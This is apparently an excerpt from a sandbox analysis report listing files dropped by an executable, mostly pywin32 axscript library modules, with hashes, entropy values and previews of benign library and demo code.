File Type:	GIF image data, version 89a, 624 x 113
Category:	dropped
Size (bytes):	20926
Entropy (8bit):	7.905038510815239
Encrypted:	false
SSDEEP:	384:x2exoV/K9n4vEVknwRun99AwdOeQWrALv5MFp6l2cdj65lO:x2/V/TMV5RunjAw0WrALI+6G
MD5:	50BCEB72ABB5FA92A1B13A615288EA2E
SHA1:	5C3A6324856DCBE7D1A11F3F5E440BB131551784
SHA-256:	B3C652073B3C75F5AC81381B6F44B8DEEAD065C635C63771A0806E48778BAFAA
SHA-512:	C52C9DB12DEF0226C21105AB818DB403EFB666265AC745C830D66018437F8AC3E98307E94736A84BCAB9AD7895B2183D6C4B9CCEC0FC43517E433AC50BCAF351
Malicious:	false
Preview:	GIF89ap.q..........TTTrrr.................HH.vv..........O...nj.FA.0-....hei..D1,.ZN.iXS1'.E".K.0/..qNfM'H0..F.F.q&.I..H..JslKTN,....k..M..G..p...lh-65....ddS.......m............m..+........""...l...mm......O..0...HI.........Qp....O4D.BI/Nj...q..pR.."5.Kq/H.....#E.+p.g.R.G.-...+.-../..x.sE.3s.k.m.K.Ee.d...1./.i.............0m2.V.&./.6..E.+E.MjQ.#..m-4.Q..1.A)K.j3fN.....Y"'%.K...&......AFE.......u...b]......L..m..o..4...ML..........LK.`^eff...cssTood.....7LLU..App...m..C..N..#JJ5..$ttM...tt...P..-.........''.qq......L..4op...&..j............68.....-..n.......................P......`.h..i...Pp...n..........5b.Tr......n....58<.Ms0j.........FMb......gk.PV............PP.....rr........O2..h...[.......j.d.g.O....i......a................oLP)..!.......,....p.q.@...Y..H......*\....cy.81.&^.....q.!p )..Dr..V...T..P.b..........sR%M@)zb.HT,..h.\...P.J.J....%....W..$a..q.!..V...P..pcD......10...l.4i...Ev...]..$>...p....$..Y.:...0.L...y.._8.<\|......}e

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\wsh\excel.pys

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	5.072940751559402
Encrypted:	false
SSDEEP:	24:CZ0XYSbNSVEjTMujTrOqIdm3PNZpqZjDpfNTppp6QV:+0oSoUMATrOq+Dp/5V
MD5:	8FD06D135B4275DBC00D9E393FFDE9E1
SHA1:	877567B995035606046281AAC4DC11FF9D415F82
SHA-256:	3ED132B5B9D06FC242573AE32C4CDFEB09774BEC8AD4F7B0B1F7A13317354F14
SHA-512:	DD062E59E33E0FBCE58CFD96FFF10B1D7CBB757457A227512DA309AF5DE1FEDA5853D93DDD3BB9C71A80295E4C7F1B7E338B8AF9A1B3E533D88BE17BF2FB664B
Malicious:	false
Preview:	#app=WScript.Application.#app._print_details_() # Use this to see what Python knows about a COM object...g_index = 1.# A procedure, using a global..def Show(desc, value = None):..global g_index # Need global for g_index, as I locally assign...# No global needed to "xl" object, as only referenced...# Also note "xl" is assigned later in the script - ie, Python is very late bound...xl.Cells(g_index, 1).Value = desc..if value: xl.Cells(g_index, 2).Value = value..g_index = g_index + 1..xl = WScript.CreateObject("Excel.Application").import sys..xl.Visible = 1.#xl.Workbooks().Add() # Excel versions before 98.xl.Workbooks.Add()..# Show the WScript properties..Show("Application Friendly Name", WScript.Name).Show("Application Version", WScript.Version).Show("Application Context: Fully Qualified Name", WScript.FullName).Show("Application Context: Path Only", WScript.Path).Show("State of Interactive Mode", WScript.Interactive)..Show("All script arguments:").args = WScript.Arguments..for i in range

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\wsh\registry.pys

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1625
Entropy (8bit):	5.097139297129545
Encrypted:	false
SSDEEP:	24:L/DdkD6Pi0u1JEeLGawC+jrZoVzu4dB03kWSjI09f:L/DdkDoiDJE99z+KUWSh
MD5:	FFDB7AF5288F2DBC7BA1B9F390851F2E
SHA1:	CE79284039F42ED3E64B7361FF22A617A65A7AAD
SHA-256:	36828B0FBC66B13FEC99DE1C1B8993E249179E268D55328A2457FC84D514EBF9
SHA-512:	4C631CC46F2AE5EDBDD236ABE791A73F0A1A0FDCD63427A7240AF3B174B4D5ABC3C39121B6543DD69E1FDD290303ECA9F16E085AC603E9324A05B459AB2524DE
Malicious:	false
Preview:	""" Windows Script Host Sample Script.' Ported to Python.'.' ------------------------------------------------------------------------.' Copyright (C) 1996 Microsoft Corporation.'.' You have a royalty-free right to use, modify, reproduce and distribute.' the Sample Application Files (and/or any modified version) in any way.' you find useful, provided that you agree that Microsoft has no warranty,.' obligations or liability for any Sample Application Files..' ------------------------------------------------------------------------.'.' This sample demonstrates how to write/delete from the registry. ."""..WshShell = WScript.CreateObject("WScript.Shell")..WshShell.Popup("This script shows how to use registry related methods.", 2)..WshShell.Popup("Create key HKCU\\Foo with value 'Top level key'").WshShell.RegWrite("HKCU\\Foo\\", "Top level key")..WshShell.Popup("Create key HKCU\\Foo\\Bar with value 'Second level key'").WshShell.RegWrite( "HKCU\\Foo\\Bar\\", "Second level key").

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\wsh\test.pys

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.81636161697008
Encrypted:	false
SSDEEP:	6:Szs5LiFN3igd67YFCAdwEQkJvY0ULWODCArGnIF4hIopU7ZsH1F7W4L3q1G7ChYa:OsVi/F9QkJvDSV7z4ppUiHf7W4LoYlAB
MD5:	C05E20B9E219FCCF2C19133783B932E5
SHA1:	C74BF55931BB90778B120D5C8E766B8C1036D5DA
SHA-256:	6D0A3E712D136DACB886AEF34B5E866F0EED3F68C15AA569BB88278939A96DC0
SHA-512:	10DDC4C7DDF5141555EC6C97E4C2B5A506219D7D3798A509D3BCE14F693170C951DFA60EA13FE7E91F70C44EC3D0E8706E6558664644EFB44E138575EFA0B400
Malicious:	false
Preview:	# Testall - test core AX support...# Test "Restricted Execution" (ie, IObjectSafety)..# This will fail if in a "restricted execution" environment, but.# will silenty do nothing of not restricted. This same line in an MSIE.# script would cause an exception..print("Importing win32api...").import win32api.if 1==1:..print("Hi")..WScript.Echo("Hello from WScript")..#fail..

C:\recover\pw\Lib\site-packages\win32comext\axscript\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\axscript\asputil.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	246
Entropy (8bit):	4.321979309415331
Encrypted:	false
SSDEEP:	6:sARc6XFJyOhpDjc/JMRc1GfwpRXy1JVlFqpY/y:n9yoEBQeG4pR8JVlwpKy
MD5:	1ADB8CD1FB788B91BDAAE9399AD49EB9
SHA1:	F67D489C8578E338217B53EF6427DB08C4EB8656
SHA-256:	162EBBA726C7BB51F5154A203ECB77E3F05811CCA8EF667CC2A7538E12468D35
SHA-512:	2BF4AEA87C7B8345575D7F1C804F85EEA6417ED6BE9CDAAF4BC3CB1C85ABEE5436586361A6AE70987A28AF3F905EB0EBC9267C6D9CC3D52BD735C25A2284EDE8
Malicious:	false
Preview:	"""A utility module for ASP (Active Server Pages on MS Internet Info Server...Contains:..iif -- A utility function to avoid using "if" statements in ASP <% tags.."""...def iif(cond, t, f):. if cond:. return t. else:. return f.

C:\recover\pw\Lib\site-packages\win32comext\axscript\axscript.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.39833925624853
Encrypted:	false
SSDEEP:	1536:sZCJ9gLRE6ZpBS1aNHox4JkHUMf2eRjRvnu/EHEX3bDi/U:sZCJ9IEkNHoScUMzRjRvnu/EHS3bDi
MD5:	CE971A4D2464A5E72BCB67A1D97FE26E
SHA1:	3AF3F43335F86CFDB9B1E9184859579C6EBFED3D
SHA-256:	41AB63C77696BC401CF4C4606B55B1B66883743C8D89173139EA9D162D72BB5E
SHA-512:	2415CC0D79A3B91ED6A0754E0E9930936CF06AD6F775FEB6708B4AB4C7659909880B6AFD807C87A22C8C2D6F8AAE982ED1707754BF4882A8C2D61393C28C3D93
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... . . .).$.$.r..."...$.....".r...3.r...*.r...!.4...%.4...%. ...../...!...!.Rich .................PE..L......d...........!................?.....................................................@..............................-..@........P..\....................`..T...<...T...............................@...............T............................text............................... ..`.rdata..............................@..@.data...L....0......................@....rsrc...\....P......................@..@.reloc..T....`......................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.926571651178274
Encrypted:	false
SSDEEP:	3:SbFVEPxVW2:SbFupVH
MD5:	6BA7C50D6D1AB57D23565ED35813EAD7
SHA1:	B32E72D4EA5B883E21CD3FD7CC1FB7DB58B57281
SHA-256:	38686F1600EF06C7CFEA5BFB7DB2C952D8FB9A02664B2B587528C04A2C037C1B
SHA-512:	05CFD07756DBB06B2B89A62395E372F6652D6BEEB205E1226E0463852B0B71624D08524600008502F21E6087C0222A3EA8059D0578E2662D24FC00AA7821A9E1
Malicious:	false
Preview:	# This is a Python package.

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\debug.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8600
Entropy (8bit):	4.651539521205457
Encrypted:	false
SSDEEP:	192:ZBl5Z5fcbFOvoW5TTPUfSBME+LCXUhBKbRBJSt6jv9aKLDqLM4:ZBl5QRsHMFrdtJ64
MD5:	EF2074B451BBD62D87F65EAA93CCEE3C
SHA1:	EFD7F3F1033E3C8180B8636BF5557B62EFC103CE
SHA-256:	1D9E93C8F0D5963DD099B6DE5E3A30FC8AF89EA5359B7C6E3217717E0E1371E3
SHA-512:	AE3EDBA436B1475BC7FEA3BCFF1FE5427DC6C79A961BF83447E62DD283B96E4BF23F32E40F2E0E30432764465FE030B4EEE12815A867AAC49579CC4E9FD409B8
Malicious:	false
Preview:	import os.import sys..import pythoncom.import win32api.import win32com.client.connect.import win32com.server.util.import winerror.from win32com.axdebug import adb, axdebug, contexts, documents, gateways, stackframe.from win32com.axdebug.codecontainer import SourceCodeContainer.from win32com.axdebug.util import _wrap, _wrap_remove.from win32com.client.util import Enumerator.from win32com.server.exception import COMException.from win32com.util import IIDToInterfaceName..from .framework import trace..try:. os.environ["DEBUG_AXDEBUG"]. debuggingTrace = 1 # Should we print "trace" output?.except KeyError:. debuggingTrace = 0...def trace(*args):. """A function used instead of "print" for debugging output.""". if not debuggingTrace:. return. print(win32api.GetCurrentThreadId(), end=" "). for arg in args:. print(arg, end=" "). print()...# Note that the DebugManager is not a COM gateway class for the.# debugger - but it does create and manage them..class D

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\error.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9551
Entropy (8bit):	4.4481133212168595
Encrypted:	false
SSDEEP:	192:leqeievObaNRL95xCaS8B8MvWISWJCkZXlDtPAmzai:lpeiXc37vVXtJX+i
MD5:	324AE6C8D3E02A44C8333EAE4AA5781F
SHA1:	B8189B8EC4ABBC1A2B284EDA32389E0FB74B6913
SHA-256:	ED9214C512F602AD4CA2F4DDE0D34C28D05B7D7EA43247058B61FEE06C1323C9
SHA-512:	A9AC0583D878B092A02F0149E24646E8AF3B447A665F96565AB15B98F47B8AA61ED7464B47D8360C67DF7E6B6F721653146E930F55B42610CE58AEC9A15F72CC
Malicious:	false
Preview:	"""Exception and error handling... This contains the core exceptions that the implementations should raise. as well as the IActiveScriptError interface code.. ."""..import re.import sys.import traceback..import pythoncom.import win32com.server.exception.import win32com.server.util.import winerror.from win32com.axscript import axscript..debugging = 0...def FormatForAX(text):. """Format a string suitable for an AX Host""". # Replace all " with ', so it works OK in HTML (ie, ASP). return ExpandTabs(AddCR(text))...def ExpandTabs(text):. return re.sub("\t", " ", text)...def AddCR(text):. return re.sub("\n", "\r\n", text)...class IActiveScriptError:. """An implementation of IActiveScriptError.. The ActiveX Scripting host calls this client whenever we report. an exception to it. This interface provides the exception details. for the host to report to the user.. """.. _com_interfaces_ = [axscript.IID_IActiveScriptError]. _public_methods_ = ["GetSourceLin

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\framework.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	45609
Entropy (8bit):	4.558280317748307
Encrypted:	false
SSDEEP:	384:YnkVhfSa7i4vubj8zhR7oCF1EfPcec4Xq0mbeB7rmRaH4iKlF8prfYjrqUjgc4qe:YkVhf/ukdyCYfkeP9sB86jrqy4Ie
MD5:	F80DB3148BB02DB7394413B365DBE726
SHA1:	35205C38191C769C0C17451D8641CF020B20A5AC
SHA-256:	E5508E5A9E7A42CEA6AEA7EC1B2819C59A3DF4F9FF0C7A4727E04C08D806CD28
SHA-512:	06EB27C0FE8A0997D45924F924F57E3AFC53376916956B92F5D41900F790EFB00134F370C3379CD4653F8CB846C39BEA19B42CCCFE7C3BC58161F5D883118245
Malicious:	false
Preview:	"""AXScript Client Framework.. This module provides a core framework for an ActiveX Scripting client.. Derived classes actually implement the AX Client itself, including the. scoping rules, etc... There are classes defined for the engine itself, and for ScriptItems.""".import re.import sys..import pythoncom # Need simple connection point support.import win32api.import win32com.client.connect.import win32com.server.util.import winerror.from win32com.axscript import axscript...def RemoveCR(text):. # No longer just "RemoveCR" - should be renamed to. # FixNewlines, or something. Idea is to fix arbitary newlines into. # something Python can compile.... return re.sub("(\r\n)\|\r\|(\n\r)", "\n", text)...SCRIPTTEXT_FORCEEXECUTION = -2147483648 # 0x80000000.SCRIPTTEXT_ISEXPRESSION = 0x00000020.SCRIPTTEXT_ISPERSISTENT = 0x00000040..from win32com.server.exception import Exception, IsCOMServerException..from . import error # ax.client.error..state_map = {. axscript.SCRIPTSTATE

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\pydumper.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2209
Entropy (8bit):	4.92912052688063
Encrypted:	false
SSDEEP:	48:nejpDpuXNcnYI1umm3uLkjpvp5TThEchP/6GyjBhWTOAGFk2DyvN/w:qON21uF3ugtEchP/KCOjFrDyvN/w
MD5:	3EEF17E893D9C828638F3282A7C45766
SHA1:	8FED63EA9770E424083F4A529EF7C72BDD6D9828
SHA-256:	8BC4284A2E6396858C7FA1CCCDEB05819DD074F0528451D38E6209BDD2E8F506
SHA-512:	E08AE09C0B2C2F25A35FD6C5AD7502D3B529F80E9F35C6BAD6148CF520DAE613A775BB3C5F11C73A314732A1C1215E49A7B8A373A4EEDE1382E1A1D004216E88
Malicious:	false
Preview:	# pydumper.py.#.# This is being worked on - it does not yet work at all, in ay way.# shape or form :-).#.# A new script engine, derived from the standard scripting engine,.# which dumps information...# This generally can be used to grab all sorts of useful details about.# an engine - expose bugs in it or Python, dump the object model, etc...# As it is derived from the standard engine, it fully supports Python.# as a scripting language - meaning the dumps produced can be quite dynamic,.# and based on the script code you execute...from win32com.axscript import axscript..from . import pyscript.from .pyscript import SCRIPTTEXT_FORCEEXECUTION, Exception, RaiseAssert, trace..PyDump_CLSID = "{ac527e60-c693-11d0-9c25-00aa00125a98}"...class AXScriptAttribute(pyscript.AXScriptAttribute):. pass...class NamedScriptAttribute(pyscript.NamedScriptAttribute):. pass...class PyScript(pyscript.PyScript):. pass...def Register():. import sys.. if "-d" in sys.argv:. dispatcher = "Dispa

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\pyscript.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15365
Entropy (8bit):	4.595224299959172
Encrypted:	false
SSDEEP:	384:sXewygo5ieMXmLzjh2jBjmqLUSjNjsjIjgjNEtjFT7ZB/3Fv+VSYHj1j3jpjVXjV:we7go0eMXmLPhCdmqLUeJoksNEpnQDh5
MD5:	E127D587F36259875C37BA09D6F64653
SHA1:	9FCC884F6A2EABB0E982426FF92770A2E961406A
SHA-256:	F75FF2124A8A8E8F631A49B7BC1824D88D9A6106145DD812AB12A1F7E909DB93
SHA-512:	44F207863B69DA7B7DDE29C850D5A482DC1F91A6EBBF5A084A4D4C7DAC6227F07311A14DB91CC6AA1ECA7372CEB09D1F11706DB511C866B9DA624866E52591BB
Malicious:	false
Preview:	"""Python ActiveX Scripting Implementation..This module implements the Python ActiveX Scripting client...To register the implementation, simply "run" this Python program - ie.either double-click on it, or run "python.exe pyscript.py" from the.command line.."""..import re..import pythoncom.import win32api.import win32com.import win32com.client.dynamic.import win32com.server.register.import winerror.from win32com.axscript import axscript.from win32com.axscript.client import framework, scriptdispatch.from win32com.axscript.client.framework import (. SCRIPTTEXT_FORCEEXECUTION,. SCRIPTTEXT_ISEXPRESSION,. SCRIPTTEXT_ISPERSISTENT,. Exception,. RaiseAssert,. trace,.)..PyScript_CLSID = "{DF630910-1C1D-11d0-AE36-8C0F5E000000}"..debugging_attr = 0...def debug_attr_print(args):. if debugging_attr:. trace(args)...def ExpandTabs(text):. return re.sub("\t", " ", text)...def AddCR(text):. return re.sub("\n", "\r\n", text)...class AXScriptCodeBlock(framework.AXScr

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\pyscript_rexec.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2079
Entropy (8bit):	5.1327242411448495
Encrypted:	false
SSDEEP:	48:SSzKXMtCfKvV1V3wp2h2iuCgWchi2Jk+MANA1BXVAfL:DK8tLbhwpYXuzzLWBXafL
MD5:	4746513214FD3D49AB67680FC8CF35D9
SHA1:	D8AB9424AB9EEE3879A821B4BB5532048FF3F10C
SHA-256:	C6984941293A584ACB954395DC32E7092606C708F99AEACA827BBE2E8BA7F72D
SHA-512:	E1D0C3C2B765AAF8ED1378D799CEC21296CFE80CC261F133C35921E3941FF7C6BA6E37A839561C4FA7A58F28D1E73577CA7A6909AC851C3D463CCAD60B0ECFDA
Malicious:	false
Preview:	# A version of the ActiveScripting engine that enables rexec support.# This version supports hosting by IE - however, due to Python's.# rexec module being neither completely trusted nor private, it is.# not enabled by default..# As of Python 2.2, rexec is simply not available - thus, if you use this,.# a HTML page can do almost anything at all on your machine...# You almost certainly do NOT want to use thus!..import pythoncom.from win32com.axscript import axscript..from . import pyscript..INTERFACE_USES_DISPEX = 0x00000004 # Object knows to use IDispatchEx.INTERFACE_USES_SECURITY_MANAGER = (. 0x00000008 # Object knows to use IInternetHostSecurityManager.)...class PyScriptRExec(pyscript.PyScript):. # Setup the auto-registration stuff.... _reg_verprogid_ = "Python.AXScript-rexec.2". _reg_progid_ = "Python" # Same ProgID as the standard engine.. # ._reg_policy_spec_ = default. _reg_catids_ = [axscript.CATID_ActiveScript, axscript.CATID_ActiveScriptParse]. _reg_

C:\recover\pw\Lib\site-packages\win32comext\axscript\client\scriptdispatch.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3876
Entropy (8bit):	4.680189112747225
Encrypted:	false
SSDEEP:	96:fyxNpGv5RQT/pzrfPk1xAj+AKE6iEc5fyREQ:4GC/gAWE6Bc5aREQ
MD5:	5021ACFFA8683413B7E99084C60FA6B5
SHA1:	9C30C55ACA4F94EB5C5C626C22C21F6927445BB6
SHA-256:	C2379DD57BB2495D3D3DAD4F57D782AA7E1D2C0595C78BFDE4984017AF2C214E
SHA-512:	4A206EDED838EA10B2D5AA4200B838816F2A0244A9BC6F00458F88A09DA631D76CEB597379BF13C2F326919ED3157F27AEA6675D419512BE9B4B3603D9C88EEA
Malicious:	false
Preview:	"""dynamic dispatch objects for AX Script... This is an IDispatch object that a scripting host may use to. query and invoke methods on the main script. Not may hosts use. this yet, so it is not well tested!."""..import types..import pythoncom.import win32com.server.policy.import win32com.server.util.import winerror.from win32com.axscript import axscript.from win32com.client import Dispatch.from win32com.server.exception import COMException..debugging = 0..PyIDispatchType = pythoncom.TypeIIDs[pythoncom.IID_IDispatch]...def _is_callable(obj):. return type(obj) in [types.FunctionType, types.MethodType]. # ignore hasattr(obj, "__call__") as this means all COM objects!...class ScriptDispatch:. _public_methods_ = [].. def __init__(self, engine, scriptNamespace):. self.engine = engine. self.scriptNamespace = scriptNamespace.. def _dynamic_(self, name, lcid, wFlags, args):. # Ensure any newly added items are available.. self.engine.RegisterNewNamedIt

C:\recover\pw\Lib\site-packages\win32comext\axscript\server\axsite.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4143
Entropy (8bit):	4.704238630787578
Encrypted:	false
SSDEEP:	96:ZdKILH/cqFFZ+eIGNilxKBp/xbt3pR5WlDe3HF:tkMjIwOx4pRdp3Wk
MD5:	C8AB177A25EEDBE978F8A44CAF49F70C
SHA1:	F50DD82A66C8B496D2E53120E949907DC875FC00
SHA-256:	B41F83F503B4F4C43E4F75748FBC7101117AE9168AB3BFBF184F4EC1E7FB5821
SHA-512:	93C43138E621DCCB20A27E94F8BC866B5D5C72340D6BCFDB96CE635A847762A1FB5F0AF56D85CB41D75BA1C5C807055348788E66A3A5A0435A3AE03D170D8678
Malicious:	false
Preview:	import pythoncom.import win32com.axscript.axscript.import winerror.from win32com.axscript import axscript.from win32com.server import exception, util...class AXEngine:. def __init__(self, site, engine):. self.eScript = self.eParse = self.eSafety = None. if type(engine) == type(""):. engine = pythoncom.CoCreateInstance(. engine, None, pythoncom.CLSCTX_SERVER, pythoncom.IID_IUnknown. ).. self.eScript = engine.QueryInterface(axscript.IID_IActiveScript). self.eParse = engine.QueryInterface(axscript.IID_IActiveScriptParse). self.eSafety = engine.QueryInterface(axscript.IID_IObjectSafety).. self.eScript.SetScriptSite(site). self.eParse.InitNew().. def __del__(self):. self.Close().. def GetScriptDispatch(self, name=None):. return self.eScript.GetScriptDispatch(name).. def AddNamedItem(self, item, flags):. return self.eScript.AddNamedItem(item, flags).. # Some helpers..

C:\recover\pw\Lib\site-packages\win32comext\axscript\server\error.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	489
Entropy (8bit):	4.4888191490917
Encrypted:	false
SSDEEP:	12:2mGvWyhRrmG0DKCNUgFY6lKXGlJio1AGj+gLnRrEp+nr:/G5hRCGOHtFYUKXG/isApunUk
MD5:	D1B887E1852838FB3158E15DD8DC2F76
SHA1:	46DBDA3060D799B66240E38CD91AA449C1CAF8A3
SHA-256:	23410686595B5F8735EB249AD4C268D5BE5CA58B055DEE2164003354EF5AAFBF
SHA-512:	FFD864AC218122C23444ED30BFBCEA989F992014BF480D2FD354010C14DB44F8468E629D39528B44BFD7DAC2D4A0D7C64198639666C75D648B9D85059F717AFF
Malicious:	false
Preview:	"""Exception instance for AXScript servers...This module implements an exception instance that is raised by the core .server scripting support...When a script error occurs, it wraps the COM object that describes the.exception in a Python instance, which can then be raised and caught.."""...class Exception:. def __init__(self, activeScriptError):. self.activeScriptError = activeScriptError.. def __getattr__(self, attr):. return getattr(self.activeScriptError, attr).

C:\recover\pw\Lib\site-packages\win32comext\axscript\test\debugTest.pys

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.78846195235404
Encrypted:	false
SSDEEP:	6:GqaHrf+2ClCkvdZvxz4/u7ooVMaTGOUnH3:b2TCEivBh7oH3
MD5:	1B1E5E89D140BAE27D78BBA769EF31B7
SHA1:	F387F0778B5098E93D944B875BD6A946F0647CFC
SHA-256:	93060807FEFD7107AE7B9FF83E7369F34BE0CD7E6D7AE3317AE380BCFB5C6DEE
SHA-512:	D872D77D95AFB443DC368EA95E4D66504BE63109FFFAB0E5FDDADD15E65256F02B1FF33ABC56EE3F95DEF29381B2559F221B8AA126CB3D474F5BDEEA0561635B
Malicious:	false
Preview:	def Function(i):..Test.Echo(i)..print(dir())..a=1.b=a.c=b # And here is a comment.d="A string".print(a).Test.echo("Hello from Python").for i in range(2):..Function(i).a = """\.A multi-line string!."""..

C:\recover\pw\Lib\site-packages\win32comext\axscript\test\debugTest.vbs

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.4385916030254124
Encrypted:	false
SSDEEP:	3:x2HYGGMOtsEJF2AMV5CCADEuuEJFsFwL4Jn:2Y8OnFBuolZJFsFwkJn
MD5:	AFD072C96DB7BD059EB7A65591315330
SHA1:	732AC8DDA1FE276F98CE53997107284877994C09
SHA-256:	3B76BACB85734D4759D81B9FAC389B31EC9CEE57EAB8A35F34F4F03E17BCB76B
SHA-512:	8D8B31B47E4ED705A5841472A546E47C7448CC6D555A0F3C4ACCE68425E189CD725B0B5CC9FC1BA970E51F75FDDF11DF408B3E335F2EB127250FCAEC63C0BBB4
Malicious:	false
Preview:	a=1.b=a.Test.Echo "Hello from VBScript".' Here is a comment.for i = 1 to 10. .next.

C:\recover\pw\Lib\site-packages\win32comext\axscript\test\leakTest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4860
Entropy (8bit):	4.839504912514807
Encrypted:	false
SSDEEP:	96:kgfYwmTZmdHneTaQgcYZI8PS32d6tnfh43gQLzyfM68:kVT2ZVUwSmANfagQLOE68
MD5:	9D5F620DBD947D638EF8E5C070C1E706
SHA1:	E70F5C14BFFD7A6E6F6D0CBD617022D4AEA77409
SHA-256:	542AC5CD304D4BDA1993F2FBBB202866F3F683063CDF09CCFAF68A5230BC2433
SHA-512:	6AF9326CE5776BFDEC97943582C66022E9D6DF7B8A19A4294A7166CEBA0F35BF93A5DAC70D8AB5E9157E512A1471FCFCBA61C659A6FA219545A3BFC4A965403E
Malicious:	false
Preview:	import sys..import pythoncom.import win32com.server.policy.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.server import connect, util...class MySite(axsite.AXSite):. def OnScriptError(self, error):. exc = error.GetExceptionInfo(). context, line, char = error.GetSourcePosition(). print(" >Exception:", exc[1]). try:. st = error.GetSourceLineText(). except pythoncom.com_error:. st = None. if st is None:. st = "". text = st + "\n" + (" " * (char - 1)) + "^" + "\n" + exc[2]. for line in text.splitlines():. print(" >" + line)...class MyCollection(util.Collection):. def _NewEnum(self):. print("Making new Enumerator"). return util.Collection._NewEnum(self)...class Test:. _public_methods_ = ["echo"]. _public_attrs_ = ["collection", "verbose"].. def __init__(self):.

C:\recover\pw\Lib\site-packages\win32comext\axscript\test\testHost.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Ruby script, ASCII text
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	4.7787877297794665
Encrypted:	false
SSDEEP:	192:k0TM0aZVU3xjDwFMKhfz7+1YfGUmQBkJ7zZQfiCKlH15q:k0TNAIJMdfzOUmQ+QfiCKlVY
MD5:	5B5360CA04A73F90ADB1EA08E2C66FA7
SHA1:	EB70BD96AC56EE9CAB77273EB0E1F7990ED0B69A
SHA-256:	CE89E35280C5131B74576BE0BCD3E9E77A0C7FCB8D510C5DD5065E60388475A0
SHA-512:	27072D36EB5F86D3D439BD62B65493929E5BE09D751D030FC53EB4EAC223E11E617A793C77CD6D290EF6AAEC17F84DCF59BAF661C2EBCE73B7ADCA6159C9D1DD
Malicious:	false
Preview:	import sys.import unittest..import pythoncom.import win32com.server.policy.import win32com.test.util.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.client.dynamic import Dispatch.from win32com.server import connect, util.from win32com.server.exception import COMException..verbose = "-v" in sys.argv...class MySite(axsite.AXSite):. def __init__(self, args):. self.exception_seen = None. axsite.AXSite.__init__(self, args).. def OnScriptError(self, error):. self.exception_seen = exc = error.GetExceptionInfo(). context, line, char = error.GetSourcePosition(). if not verbose:. return. print(" >Exception:", exc[1]). try:. st = error.GetSourceLineText(). except pythoncom.com_error:. st = None. if st is None:. st = "". text = st + "\n" + (" " * (char - 1)) + "^" + "\n" + exc

C:\recover\pw\Lib\site-packages\win32comext\axscript\test\testHost4Dbg.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
